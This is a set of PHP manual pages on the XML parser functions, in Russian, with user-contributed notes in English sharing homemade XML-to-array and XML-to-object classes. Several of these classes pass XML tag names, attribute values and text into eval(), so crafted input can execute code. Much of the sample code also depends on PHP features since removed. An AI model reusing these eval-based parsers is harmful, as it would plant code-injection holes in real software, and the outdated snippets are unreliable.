    {
        //return back xml
        $result = "";

        if( $tob == null)
        {
            $tob = $this->arrOutput;
        }

        if(!isset($tob))
        {
            echo "XML Array empty...";
            return null;
        }

        for($c = 0; $c < count($tob); $c++)
        {
            $result .="<" . $tob[$c]["nodename"];

            while (list($key, $value) = each($tob[$c]["attributes"]))
            {
                $result .=" " . $key."=\"" . $this->parseXMLValue($value) . "\"";
            }

            $result .= ">";

            //assign node value
            if( isset($tob[$c]["nodevalue"]) )
            {
                $result .= $tob[$c]["nodevalue"];
            }

            if( count($tob[$c]["childrens"]) > 0 )
            {
                $result .= "\r\n" . $this->toXML(&$tob[$c]["childrens"]) . "";
            }

            $result .= "</" . $tob[$c]["nodename"] . ">\r\n";

        }//end of each array...

        return $result;
    }

    function displayXML()
    {
        print_r($this->arrOutput);
    }

    function getXML($tob = null)
    {
        return "<?xml version='1.0'?>\r\n" . $this->toXML($tob);
    }

}//end of u007xml class

//examples below:

$xx = new u007xml();
$xx->loadFile("xml3.xml");

//$xx->displayXML();

print $xx->getXML();
ben at autonomic dot net 16-Mar-2006 05:12
bbellwfu's code does not handle 'text nodes' properly.
Consider the innards of a tag like <root>xxx<tag2/>yyy</root>
The 'tagData' for root will be "xxxyyy" and you have lost all information about where "tag2" was in that sequence.

Quick and dirty hack.

Replace tagData with this code :
   function tagData($parser, $tagData) {
          $last_element=count($this->arrOutput)-1;
        $this->arrOutput[$last_element]['children'][] = array("textnode",$tagData);
   }

What this does is adds 'textnodes' as children of its containing parent, *in the right sequence* (rather like the internet browsers do it). This then lets you do some more sensible secondary work like recursively looking up internal references within the document...
Kyle Bresin 19-Jan-2006 03:15
Just wanted to note a small bug in bbellwfu's class (which is really great btw).

It fails to capture any datums which are equal to numerical zero.

The problem lies in the function tagData, the first if statement should be:

if(trim($tagData) != '') {
tim at alloutinteraction dot com 01-Oct-2005 07:29
I wanted to create a really simple XML parser, but I found the array management in xml_parse a bit daunting. So I flattened my XML and parsed it using string matching. It wouldn't be difficult to add xml depth (of 2 plus levels) by modifying the parsedXML array.

<?
// here's the raw html
$xmlRaw="<order>Order data</order><label>Label data</label><control>123</control>";
// here are the xml field names
$xmlFieldNames=array("order", "label", "control");
// for each xml field...
foreach ($xmlFieldNames as $xmlField) {
    if(strpos($xmlRaw,$xmlField)!==false){
        // I've broken 1 single line into 4 for display purposes
        $parsedXML[$xmlField]=substr($xmlRaw,
        strpos($xmlRaw,"<$xmlField>")+strlen("<$xmlField>"),
        strpos($xmlRaw,"</$xmlField>")-strlen("<$xmlField>")
        -strpos($xmlRaw,"<$xmlField>"));
    }
}
print_r($parsedXML);
// prints: Array ( [order] => Order data [label] => Label data [control] => 123 )

?>

Hope you find this useful (coded it while ill in bed with streaming cold, but felt much better afterwards!)

Tim (a lazy coder)
bbellwfu at gmail dot com 05-May-2005 02:51
Just improving a little bit on the code examples from tgrabietz and randlem below... everything in one pretty class, plus some checks in place so that the element data doesnt get split up (thanks to flobee on the xml_set_character_data_handler page)

<?php

/* Usage
 Grab some XML data, either from a file, URL, etc. however you want. Assume storage in $strYourXML;

 $objXML = new xml2Array();
 $arrOutput = $objXML->parse($strYourXML);
 print_r($arrOutput); //print it out, or do whatever!

*/
class xml2Array {

    var $arrOutput = array();
    var $resParser;
    var $strXmlData;

    function parse($strInputXML) {

            $this->resParser = xml_parser_create ();
            xml_set_object($this->resParser,$this);
            xml_set_element_handler($this->resParser, "tagOpen", "tagClosed");

            xml_set_character_data_handler($this->resParser, "tagData");

            $this->strXmlData = xml_parse($this->resParser,$strInputXML );
            if(!$this->strXmlData) {
               die(sprintf("XML error: %s at line %d",
            xml_error_string(xml_get_error_code($this->resParser)),
            xml_get_current_line_number($this->resParser)));
            }

            xml_parser_free($this->resParser);

            return $this->arrOutput;
    }
    function tagOpen($parser, $name, $attrs) {
       $tag=array("name"=>$name,"attrs"=>$attrs);
       array_push($this->arrOutput,$tag);
    }

    function tagData($parser, $tagData) {
       if(trim($tagData)) {
            if(isset($this->arrOutput[count($this->arrOutput)-1]['tagData'])) {
                $this->arrOutput[count($this->arrOutput)-1]['tagData'] .= $tagData;
            }
            else {
                $this->arrOutput[count($this->arrOutput)-1]['tagData'] = $tagData;
            }
       }
    }

    function tagClosed($parser, $name) {
       $this->arrOutput[count($this->arrOutput)-2]['children'][] = $this->arrOutput[count($this->arrOutput)-1];
       array_pop($this->arrOutput);
    }
}
?>

Will output something like...

<snippet>
Array
(
    [0] => Array
        (
            [name] => GETMESSAGESRESPONSE
            [attrs] => Array
                (
                )

            [children] => Array
                (
                    [0] => Array
                        (
                            [name] => STATUS
                            [attrs] => Array
                                (
                                )

                        )

</snippet>
alex dot garcia at noos dot fr 14-Mar-2005 01:47
Here is the inverse function which takes parsed xml array in entry and outputs xml string

enjoy !

function getXmlFromArray($root){

        if(count($root) > 0){

            $curr_name = $root['name'];
            $attribs = $root['attrs'];
            $curr_childs = $root['children'];
            $curr_data = $root['cdata'];

            $xml .= '<'.$curr_name;

            if(count($attribs) > 0){
                $i = 1;
                foreach($attribs as $key => $value){
                    $curr_attribs .= $key.'="'.$value.'"';
                    $i++;
                    if($i <= count($attribs)){
                        $curr_attribs .= ' ';
                    }
                }
                $xml .= ' '.$curr_attribs;
            }

            if($curr_data != ''){
                $xml .= '><![CDATA['.$curr_data.']]></'.$curr_name.'>';
            } else {
                if(count($curr_childs) > 0){
                    $xml .= '>';
                    foreach($curr_childs as $child){
                        $xml .= getXmlFromArray($child);
                    }
                    $xml .= '</'.$curr_name.'>';
                } else {
                    $xml .= '/>';
                }
            }

        }
        return $xml;
    }
tgrabietz at bupnet dot de 22-Sep-2004 08:05
it's like randlem at gmail dot com's great code, without using a "class container" but parsing cdata. The script returns the tree-structure in a single array.

<?php
$file = 'simple.xml';
$stack = array();

function startTag($parser, $name, $attrs)
{
   global $stack;
   $tag=array("name"=>$name,"attrs"=>$attrs);
   array_push($stack,$tag);

}

function cdata($parser, $cdata)
{
    global $stack,$i;

    if(trim($cdata))
    {
        $stack[count($stack)-1]['cdata']=$cdata;
    }
}

function endTag($parser, $name)
{
   global $stack;
   $stack[count($stack)-2]['children'][] = $stack[count($stack)-1];
   array_pop($stack);
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startTag", "endTag");
xml_set_character_data_handler($xml_parser, "cdata");

$data = xml_parse($xml_parser,file_get_contents($file));
if(!$data) {
   die(sprintf("XML error: %s at line %d",
xml_error_string(xml_get_error_code($xml_parser)),
xml_get_current_line_number($xml_parser)));
}

xml_parser_free($xml_parser);

print("<pre>\n");
print_r($stack);
print("</pre>\n");
?>
ByK 16-Sep-2004 08:12
modified from yours code. I think it's work!!.
class CXml
{
    var $xml_data;
    var $obj_data;
    var $pointer;

    function CXml() { }

    function Set_xml_data( &$xml_data )
    {
        $this->index = 0;
        $this->pointer[] = &$this->obj_data;

        //strip white space between tags
        $this->xml_data = eregi_replace(">"."[[:space:]]+"."<","><",$xml_data);
        $this->xml_parser = xml_parser_create( "UTF-8" );

        xml_parser_set_option( $this->xml_parser, XML_OPTION_CASE_FOLDING, false );
        xml_set_object( $this->xml_parser, &$this );
        xml_set_element_handler( $this->xml_parser, "_startElement", "_endElement");
        xml_set_character_data_handler( $this->xml_parser, "_cData" );

        xml_parse( $this->xml_parser, $this->xml_data, true );
        xml_parser_free( $this->xml_parser );
    }

    function _startElement( $parser, $tag, $attributeList )
    {
        foreach( $attributeList as $name => $value )
        {
            $value = $this->_cleanString( $value );
            $object->$name = $value;
        }
        //replaces the special characters with the underscore (_) in tag name
        $tag = preg_replace("/[:\-\. ]/", "_", $tag);
        eval( "\$this->pointer[\$this->index]->" . $tag . "[] = \$object;" );
        eval( "\$size = sizeof( \$this->pointer[\$this->index]->" . $tag . " );" );
        eval( "\$this->pointer[] = &\$this->pointer[\$this->index]->" . $tag . "[\$size-1];" );

        $this->index++;
    }

    function _endElement( $parser, $tag )
    {
        array_pop( $this->pointer );
        $this->index--;
    }

    function _cData( $parser, $data )
    {
        if (empty($this->pointer[$this->index])) {
            if (rtrim($data, "\n"))
                $this->pointer[$this->index] = $data;
        } else {
            $this->pointer[$this->index] .= $data;
        }
    }

    function _cleanString( $string )
    {
        return utf8_decode( trim( $string ) );
    }
}

$m_xml = new CXml();
$xml_data = file_get_contents( $filename );

$m_xml->Set_XML_data( $xml_data );

$newsid = $m_xml->obj_data->root[0]->NewsID[0];
randlem at gmail dot com 15-Sep-2004 08:43
Here's a handy way to generate a tree that can be can be decended easily.

<?php
$file = 'xmltest.xml';

$tag_tree = array();
$stack = array();

class tag {
    var $name;
    var $attrs;
    var $children;
    function tag($name, $attrs, $children) {
        $this->name = $name;
        $this->attrs = $attrs;
        $this->children = $children;
    }
}

function startTag($parser, $name, $attrs) {
    global $tag_tree, $stack;
    $tag = new tag($name,$attrs,'');
    array_push($stack,$tag);
}

function endTag($parser, $name) {
    global $stack;
    $stack[count($stack)-2]->children[] = $stack[count($stack)-1];
    array_pop($stack);
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startTag", "endTag");

$data = xml_parse($xml_parser,file_get_contents($file));
if(!$data) {
    die(sprintf("XML error: %s at line %d",
xml_error_string(xml_get_error_code($xml_parser)),
xml_get_current_line_number($xml_parser)));
}

xml_parser_free($xml_parser);

print("\n");
print_r($stack);
print("\n");
?>
michelek 26-Oct-2003 10:42
its maybe not better, but me thinks its more stright-forward

--INPUT:

<?xml version="1.0" encoding="UTF-8"?>
<world>
    <country name="sweden">
        <city name="stockholm">
            <user>Adam</user>
            <user>Eva</user>
        </city>
        <city name="g?teborg">
            <user>God</user>
        </city>
    </country>
    <country name="usa">
        <city name="new york">
            <user>Clinton</user>
            <user>Bush</user>
        </city>
    </country>
</world>

--CODE:
<?
/**
 * m_i_h_k_e_l_AT_w_w_DOT_e_e
 * 26.10.2003
**/
$filename = "m.m.xml";
$xmlC = new XmlC();
$xml_data = file_get_contents( $filename );

$xmlC->Set_XML_data( $xml_data );

echo( "<pre>\n" );
print_r( $xmlC->obj_data );
echo( "</pre>\n" );

class XmlC
{
  var $xml_data;
  var $obj_data;
  var $pointer;

  function XmlC()
  {
  }

  function Set_xml_data( &$xml_data )
  {
    $this->index = 0;
    $this->pointer[] = &$this->obj_data;

    $this->xml_data = $xml_data;
    $this->xml_parser = xml_parser_create( "UTF-8" );

    xml_parser_set_option( $this->xml_parser, XML_OPTION_CASE_FOLDING, false );
    xml_set_object( $this->xml_parser, &$this );
    xml_set_element_handler( $this->xml_parser, "_startElement", "_endElement");
    xml_set_character_data_handler( $this->xml_parser, "_cData" );

    xml_parse( $this->xml_parser, $this->xml_data, true );
    xml_parser_free( $this->xml_parser );
  }

  function _startElement( $parser, $tag, $attributeList )
  {
    foreach( $attributeList as $name => $value )
    {
      $value = $this->_cleanString( $value );
      $object->$name = $value;
    }
    eval( "\$this->pointer[\$this->index]->" . $tag . "[] = \$object;" );
    eval( "\$size = sizeof( \$this->pointer[\$this->index]->" . $tag . " );" );
    eval( "\$this->pointer[] = &\$this->pointer[\$this->index]->" . $tag . "[\$size-1];" );

    $this->index++;
  }

  function _endElement( $parser, $tag )
  {
    array_pop( $this->pointer );
    $this->index--;
  }

  function _cData( $parser, $data )
  {
    if( trim( $data ) )
    {
      $this->pointer[$this->index] = trim( $data );
    }
  }

  function _cleanString( $string )
  {
    return utf8_decode( trim( $string ) );
  }

}
?>
Adam Tylmad 11-Sep-2003 01:11
I've created a parser that returns an
object based on a xml document.

example:
<?xml version="1.0" encoding="ISO-8859-1" ?>
<country name="sweden">
    <city name="stockholm">
        <user>Adam</user>
        <user>Eve</user>
    </city>
    <city name="g?teborg">
        <user>God</user>
    </city>
</country>
<country name="usa">
    <city name="new york">
        <user>Clinton</user>
        <user>Bush</user>
    </city>
</country>

generates the following object structure:
[country] => Array
(
    [0] => stdClass Object
        (
            [name] => sweden
            [city] => Array
                (
                    [0] => stdClass Object
                        (
                            [name] => stockholm
                            [user] => Array
                                (
                                    [0] => Adam
                                    [1] => Eve
                                )
                        )
                    [1] => stdClass Object
                        (
                            [name] => g?teborg
                            [user] => God
                        )
                )
        )
    [1] => stdClass Object
        (
            [name] => usa
            [city] => stdClass
                (
                    [name] => new york
                    [user] => Array
                        (
                            [0] => Clinton
                            [1] => Bush
                        )
                )
        )
)

Here is the code:

class XMLParser {
    var $path;
    var $result;

    function XMLParser($encoding, $data) {
        $this->path = "\$this->result";
        $this->index = 0;

        $xml_parser = xml_parser_create($encoding);
        xml_set_object($xml_parser, &$this);
        xml_set_element_handler($xml_parser, 'startElement', 'endElement');
        xml_set_character_data_handler($xml_parser, 'characterData');

        xml_parse($xml_parser, $data, true);
        xml_parser_free($xml_parser);
    }

        function startElement($parser, $tag, $attributeList) {
            eval("\$vars = get_object_vars(".$this->path.");");
            $this->path .= "->".$tag;
            if ($vars and array_key_exists($tag, $vars)) {
                 eval("\$data = ".$this->path.";");
                     if (is_array($data)) {
                           $index = sizeof($data);
                           $this->path .= "[".$index."]";
                     } else if (is_object($data)) {
                           eval($this->path." = array(".$this->path.");");
                           $this->path .= "[1]";
                     }
            }
            eval($this->path." = null;");

            foreach($attributeList as $name => $value)
                eval($this->path."->".$name. " = '".XMLParser::cleanString($value)."';");
        }

    function endElement($parser, $tag) {
        $this->path = substr($this->path, 0, strrpos($this->path, "->"));
    }

    function characterData($parser, $data) {
        eval($this->path." = '".trim($data)."';");
    }
}

enjoy! And please make it better if you can ;-)


Создание XML-анализатора с поддержкой пространств имён

  • « xml_parse
  • xml_parser_create »
  • PHP Manual
  • Функции парсера XML
  • Создание XML-анализатора с поддержкой пространств имён

xml_parser_create_ns

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

xml_parser_create_ns — Создание XML-анализатора с поддержкой пространств имён

Описание

xml_parser_create_ns(?string $encoding = null, string $separator = ":"): XMLParser

xml_parser_create_ns() создаёт новый синтаксический XML-анализатор с поддержкой пространства имён и возвращает экземпляр XMLParser, который будет использоваться в других XML-функциях.

Список параметров

encoding

Кодировка входных данных определяется автоматически, а encoding задаёт кодировку только для выводимых данных. Если передаётся пустая строка, анализатор попытается определить кодировку, просматривая первые 3 или 4 байта. Кодировка по умолчанию - UTF-8. Список поддерживаемых кодировок: ISO-8859-1, UTF-8 и US-ASCII.

separator

Если сообщить анализатору пространство имён, то параметры тегов, передающиеся в различные обработчики будут состоять из пространства имён и локального имени, отделённых заданным в этом аргументе разделителем separator.

Возвращаемые значения

Возвращает новый экземпляр XMLParser.

Список изменений

Версия | Описание
8.0.0 | Функция теперь возвращает экземпляр XMLParser; ранее возвращался ресурс (resource) или false, если возникла ошибка.
8.0.0 | encoding теперь допускает значение null.

Смотрите также

  • xml_parser_create() - Создаёт XML-анализатор
  • xml_parser_free() - Освобождение XML-анализатора

User Contributed Notes

bishop at php dot net 17-Feb-2019 04:24
Internals has proposed[1] changing this extension from resource-based to object-based. When this change is made, xml_parser_create_ns will return an object, not a resource. Application developers are encouraged to replace any checks for explicit success, like:

<?php
$res = xml_parser_create_ns(/*...*/);
if (! is_resource($res)) {
    // ...
}
?>

With a check for explicit failure:
<?php
$res = xml_parser_create_ns(/*...*/);
if (false === $res) {
    // ...
}

[1]: https://marc.info/?l=php-internals&m=154998365013373&w=2
jonnyNO at SPAM dot sanriowasteland dot net 11-Jun-2002 05:49
This is from the Expat Function Reference by Clark Cooper, which is a reference to the C api.

"XML_Parser XML_ParserCreateNS(const XML_Char*encoding, XML_Char sep)
Constructs a new parser that has namespace processing in effect. Namespace expanded element names and attribute names are returned as a concatenation of the namespace URI, sep, and the local part of the name. This means that you should pick a character for sep that can't be part of a legal URI."

(from http://www.xml.com/pub/a/1999/09/expat/reference.html)

So thats what this function is for.  Now you know.


Создаёт XML-анализатор

  • « xml_parser_create_ns
  • xml_parser_free »
  • PHP Manual
  • Функции парсера XML
  • Создаёт XML-анализатор

xml_parser_create

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_parser_create — Создаёт XML-анализатор

Описание

xml_parser_create(?string $encoding = null): XMLParser

Функция xml_parser_create() создаёт новый XML-парсер и возвращает экземпляр класса XMLParser, который будут использовать другие XML-функции.

Список параметров

encoding

Кодировка входных данных определяется автоматически, поэтому параметр encoding задаёт кодировку только для выходных данных. Если передаётся пустая строка, анализатор пытается определить кодировку документа, просматривая первые 3 или 4 байта. Кодировка по умолчанию для выходных данных — UTF-8. Список поддерживаемых кодировок: ISO-8859-1, UTF-8 и US-ASCII.

Возвращаемые значения

Функция возвращает новый экземпляр класса XMLParser.

Список изменений

Версия | Описание
8.0.0 | Теперь функция возвращает экземпляр класса XMLParser; раньше функция возвращала ресурс (resource) или false, если возникла ошибка.
8.0.0 | Параметр encoding теперь принимает значение null.

Смотрите также

  • xml_parser_create_ns() - Создание XML-анализатора с поддержкой пространств имён
  • xml_parser_free() - Освобождение XML-анализатора

User Contributed Notes

bishop at php dot net 17-Feb-2019 04:23
Internals has proposed[1] changing this extension from resource-based to object-based. When this change is made, xml_parser_create will return an object, not a resource. Application developers are encouraged to replace any checks for explicit success, like:

<?php
$res = xml_parser_create(/*...*/);
if (! is_resource($res)) {
    // ...
}
?>

With a check for explicit failure:
<?php
$res = xml_parser_create(/*...*/);
if (false === $res) {
    // ...
}

[1]: https://marc.info/?l=php-internals&m=154998365013373&w=2
marek995 at seznam dot cz 24-Sep-2010 11:46
I created a function, which combines xml_paresr_create and all functions around.

<?php
function html_parse($file)
     {
      $array = str_split($file, 1);
      $count = false;
      $text = "";
      $end = false;
      foreach($array as $temp)
       {
        switch($temp)
         {
          case "<":
           between($text);
           $text = "";
           $count = true;
           $end = false;
           break;
          case ">":
           if($end == true) {end_tag($text);}
           else {start_tag($text);}
           $text = "";
           break;
          case "/":
           if($count == true) {$end = true;}
           else {$text = $text . "/";}
           break;
          default:
           $count = false;
           $text = $text . $temp;
         }
       }
     }
?>
The input value is a string.
It calls functions start_tag() , between() and end_tag() just like the original xml parser.

But it has a few differences:
  - It does NOT check the code. Just resends values to that three functions, no matter, if they are right
  - It works with parameters. For example: from tag <sth b="42"> sends sth b="42"
  - It works wit diacritics. The original parser sometimes wrapped the text before the first diacritics appearance.
  - Works with all encoding. If the input is UTF-8, the output will be UTF-8 too
  - It works with strings. Not with file pointers.
  - No "Reserved XML name" error
  - No doctype needed
  - It does not work with commentaries, notes, programming instructions etc. Just the tags

definition of the handling functions is:

<?php
function between($stuff) {}
?>

No other attributes
juanhdv at NOSPAM dot divvol dot org 05-Dec-2007 12:08
In PHP 5, when including in your xml file the definition '<?xml version="1.0" encoding="ISO-8859-1" ?>',   I'd also recommend adding the option below:

xml_parser_set_option($xml_parser,XML_OPTION_TARGET_ENCODING, "ISO-8859-1").

It works fine!

If your enconding is 'UTF-8', just replace 'ISO-8859-1'.
19-Apr-2006 07:42
I'd also recommend adding the option below
xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,1);
Tobbe 25-May-2005 06:01
The above "XML to array" code does not work properly if you have several tags on the same level and with the same name, example:

<currenterrors>
<error>
<description>This is a real error...</description>
</error>
<error>
<description>This is a second error...</description>
</error>
<error>
<description>Lots of errors today...</description>
</error>
<error>
<description>This is the last error...</description>
</error>
</currenterrors>

It will then only display the first <error>-tag.
In this case you will need to number the tags automatically or maybe have several arrays for each new element.
php at stock-consulting dot com 21-Feb-2005 02:47
Even though I passed "UTF-8" as encoding type PHP (Version 4.3.3) did *not* treat the input file as UTF-8. The input file was missing the BOM header bytes (which may indeed be omitted, according to RFC3629...but things are a bit unclear there. The RFC seems to make mere recommendations concering the BOM header). If you want to sure that PHP treats an UTF-8 encoded file correctly, make sure that it begins with the corresponding 3 byte BOM header (0xEF 0xBB 0xBF)
jcalvert at gmx dot net 03-Apr-2004 10:39
To maintain compatibility between PHP4 and PHP5 you should always pass a string argument to this function. PHP4 autodetects the format of the input if you leave it out whereas PHP5 will assume the format to be ISO-8859-1 (and choke on the byte order marker of UTF-8 files).

Calling the function as <?php $res = xml_parser_create('') ?> will cause both versions of PHP to autodetect the format.


Освобождение XML-анализатора

  • « xml_parser_create
  • xml_parser_get_option »
  • PHP Manual
  • Функции парсера XML
  • Освобождение XML-анализатора

xml_parser_free

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_parser_free — Освобождение XML-анализатора

Описание

xml_parser_free(XMLParser $parser): bool

Замечание:

Использование функции больше не имеет смысла. До PHP 8.0.0 она использовалась для закрытия ресурса.

Освобождает память, занятую XML-анализатором parser.

Предостережение

До PHP 8.0.0, в дополнение к вызову xml_parser_free(), после окончания разбора необходимо также явно удалить (unset) ссылку на parser для избежания утечек памяти, если ресурс парсера ссылается на объект, а этот объект ссылается на ресурс парсера.

Список параметров

parser
Ссылка на удаляемый XML-анализатор.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

User Contributed Notes

nidzho 27-Aug-2016 08:12
Unset the parser after calling xml_parser_free() to prevent memory leaks:

<?php
xml_parser_free($parser);
unset($parser);
?>
dio at edu dot uni-klu dot ac dot at 01-Oct-2005 09:56
If you try to free an XML parser while it is still parsing, strange things will happen - your script will "hang" and no output will be sent to the browser. Consider this pseudo-code example:

-------

...
if (!xml_parse($parser)) echo 'XML error';

xml_parser_free($parser);

...

function SomeCallbackWhichWasSetBefore(...)
{
global $parser;

...

if (some_error_happened) xml_parser_free($parser);  //problem!

...

}

------

It would be logical that xml_parse would return false if the parser was freed while parsing, right? Wrong! Instead, everything hangs and no output will be sent out (no matter whether output buffering is on or not). It took me more than an hour to figure out why: you cannot free a parser handle that is currently parsing. A simple solution:

-------

$xml_error = false;
if (!xml_parse($parser))
echo 'XML error (directly from parser)';
else if ($xml_error)
echo 'XML error (from some callback function);

xml_parser_free($parser);

...

function SomeCallbackWhichWasSetBefore(...)
{
global $parser;
global $xml_error;

if ($xml_error)
return;

...

if (some_error_occured)
{
$xml_error = false;
return;
}

...

}

-------

If you use this solution you will have to check for $xml_error in every callback function. Essentially what you're doing is that, in case you want to stop parsing because of an error, you continue until xml_parse() is finished (without actually doing anything) and then free the parser and act on the error.

Of course the underlying problem is that you cannot stop a parser while it is parsing. There should be some function like xml_throw_error() or xml_parser_stop() or whatever, but unfortunately there isn't.
php dot net at gwprogramming dot com (George Webb) 30-Oct-2003 06:56
I found that with PHP 4.3.4RC1, if you don't call xml_parser_free() before your script ends, some sort of ugliness occurs with the webserver; i.e. the HTTP connection is closed.  (The apache error_log says "exit signal Segmentation fault (11)".)

Usually PHP tends to clean up connections you don't explicitly close (e.g. database connections), but in this case apparently it doesn't.

Some web browsers (MSIE for one) do not actually show this problem, so you may not actually notice it.  Opera 7.11 does show it, which is how I discovered it.

So don't forget to call xml_parser_free() ... always!


Получает значения настройки XML-анализатора

  • « xml_parser_free
  • xml_parser_set_option »
  • PHP Manual
  • Функции парсера XML
  • Получает значения настройки XML-анализатора

xml_parser_get_option

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_parser_get_option — Получает значения настройки XML-анализатора

Описание

xml_parser_get_option(XMLParser $parser, int $option): string|int|bool

Получает значение настройки XML-анализатора.

Список параметров

parser
Ссылка на XML-анализатор, настройку которого требуется получить.
option
Какую настройку получить. Доступные настройки: XML_OPTION_CASE_FOLDING, XML_OPTION_SKIP_TAGSTART, XML_OPTION_SKIP_WHITE и XML_OPTION_TARGET_ENCODING. Они описаны в документации к функции xml_parser_set_option().

Возвращаемые значения

Возвращает значение настройки.

Ошибки

Если в параметр option передано недопустимое значение, будет выброшено исключение ValueError.

До PHP 8.0.0 передача недопустимого значение в параметр option генерировало ошибку уровня E_WARNING, что заставляло функцию возвращать логическое false.

Список изменений

Версия | Описание
8.3.0 | Теперь функция возвращает логическое значение для логических настроек.
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).
8.0.0 | Если значение параметра option недопустимо, теперь выбрасывается исключение ValueError.
7.1.24, 7.2.12, 7.3.0 | Теперь параметр options поддерживает значения XML_OPTION_SKIP_TAGSTART и XML_OPTION_SKIP_WHITE.

User Contributed Notes

dnricky at hotmail dot com 24-Jun-2017 04:57
<?php
$xmlparser = xml_parser_create();

echo "XML_OPTION_CASE_FOLDING:" . xml_parser_get_option($xmlparser, XML_OPTION_CASE_FOLDING) . "<br />"; //Specifies if case-folding is enabled. Enabled by default. Can be 1 (TRUE) or 0 (FALSE)

echo "XML_OPTION_TARGET_ENCODING:" . xml_parser_get_option($xmlparser, XML_OPTION_TARGET_ENCODING ) . "<br />"; //Specifies which target encoding to use in this XML parser. By default, it is set to the same as the xml_parser_create() function. Supported target encodings are ISO-8859-1, US-ASCII and UTF-8.

xml_parser_free($xmlparser);
?>


Установка значения настройки XML-анализатора

  • « xml_parser_get_option
  • xml_set_character_data_handler »
  • PHP Manual
  • Функции парсера XML
  • Установка значения настройки XML-анализатора

xml_parser_set_option

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_parser_set_option — Установка значения настройки XML-анализатора

Описание

xml_parser_set_option(XMLParser $parser, int $option, string|int|bool $value): bool

Устанавливает значение настройки XML-анализатора.

Список параметров

parser

Ссылка на XML-анализатор.

option

Какую настройку требуется установить. Смотрите ниже.

Доступны следующие настройки:

Настройки XML-анализатора
Константа | Тип данных | Описание
XML_OPTION_CASE_FOLDING | bool | Требуется ли включить case-folding для этого анализатора. Включено по умолчанию.
XML_OPTION_SKIP_TAGSTART | integer | Задаёт количество символов с начала имени тега, которые следует пропустить.
XML_OPTION_SKIP_WHITE | bool | Требуется ли пропускать значения, состоящие из пробелов.
XML_OPTION_TARGET_ENCODING | string | Устанавливает кодировку, которая будет использоваться XML анализатором. По умолчанию используется кодировка заданная при вызове функции xml_parser_create(). Поддерживаются кодировки ISO-8859-1, US-ASCII и UTF-8.

value

Новое значение настройки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если в параметр option передано недопустимое значение, выбрасывается исключение ValueError.

До PHP 8.0.0 функция возвращала значение false, когда отправка в параметр option недопустимого значения приводила к ошибке уровня E_WARNING, что и заставляло функцию возвращать логическое значение false.

Список изменений

Версия | Описание
8.3.0 | Теперь параметр value также принимает логические значения. Настройки XML_OPTION_CASE_FOLDING и XML_OPTION_SKIP_WHITE теперь логические.
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).
8.0.0 | Теперь выбрасывается исключение ValueError, если значение параметра option недопустимо.

User Contributed Notes

www.thomaskoch.it 31-Jul-2008 02:22
The option XML_OPTION_SKIP_WHITE has no effect in my PHP 5.2.6 (with expat-1.95.8-5). To skip cdata composed of white space only, simply check for that at the beginning of your cdata callback function:

<?php
function callback_cdata($parser, $cdata)
{
 if(!trim($cdata))
  return;

 // ... continue processing ...
}
?>
j[no_spam_please] at [thx]jessepearson dot net 08-Mar-2007 08:08
In the function below, you need to update two lines if you don't want php to throw warnings.

change these two:
           $elements[$index]['attributes'] = $tag['attributes'];
           $elements[$index]['content'] = $tag['value'];

to this:
      $elements[$index]['attributes'] = empty($tag['attributes']) ? "" : $tag['attributes'];
      $elements[$index]['content']    = empty($tag['value']) ? "" : $tag['value'];
06-Sep-2006 07:56
A little mod to a function posted here...

function xml_to_array( $file )
{
    $parser = xml_parser_create();
    xml_parser_set_option( $parser, XML_OPTION_CASE_FOLDING, 0 );
    xml_parser_set_option( $parser, XML_OPTION_SKIP_WHITE, 1 );
    xml_parse_into_struct( $parser, file_get_contents($file), $tags );
    xml_parser_free( $parser );

    $elements = array();
    $stack = array();
    foreach ( $tags as $tag )
    {
        $index = count( $elements );
        if ( $tag['type'] == "complete" || $tag['type'] == "open" )
        {
            $elements[$index] = array();
            $elements[$index]['name'] = $tag['tag'];
            $elements[$index]['attributes'] = $tag['attributes'];
            $elements[$index]['content'] = $tag['value'];

            if ( $tag['type'] == "open" )
            {    # push
                $elements[$index]['children'] = array();
                $stack[count($stack)] = &$elements;
                $elements = &$elements[$index]['children'];
            }
        }

        if ( $tag['type'] == "close" )
        {    # pop
            $elements = &$stack[count($stack) - 1];
            unset($stack[count($stack) - 1]);
        }
    }
    return $elements[0];
}
ksavage at achaean dot com 28-Mar-2005 01:25
Had one heck of a time getting curl to send my XML request.  Tried a lot of different things, FINALLY ended up with this.

Im making a curl request to paymentech / Orbital 's payment gateway.   Essentially, I took the same header i made for the fsockopen() request, and used it for this curl request. (Hostinc company didnt allow fsockopen().

You'll note that this specific gateway requires a custom content type header.  Thats what gave me the most trouble.  When using the CURLOPT_HTTPHEADER, and CURLOPT_POSTFIELDS together, it doesnt matter, it sends the default post header because of CURLOPT_POSTFIELDS.

<?php

$url = "https://example.com";
$page = "/proccessing_page.cgi";

$post_string = "<YourXML>All XML stuff Here</YourXML>";

       $header  = "POST ".$page." HTTP/1.0 \r\n";
        $header .= "MIME-Version: 1.0 \r\n";
        $header .= "Content-type: application/PTI26 \r\n";
        $header .= "Content-length: ".strlen($post_string)." \r\n";
        $header .= "Content-transfer-encoding: text \r\n";
        $header .= "Request-number: 1 \r\n";
        $header .= "Document-type: Request \r\n";
        $header .= "Interface-Version: Test 1.4 \r\n";
        $header .= "Connection: close \r\n\r\n";
        $header .= $post_string;

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url);
       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 4);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);

        $data = curl_exec($ch);         if (curl_errno($ch)) {
           print curl_error($ch);
        } else {
           curl_close($ch);
        }

// use XML Parser on $data, and your set!

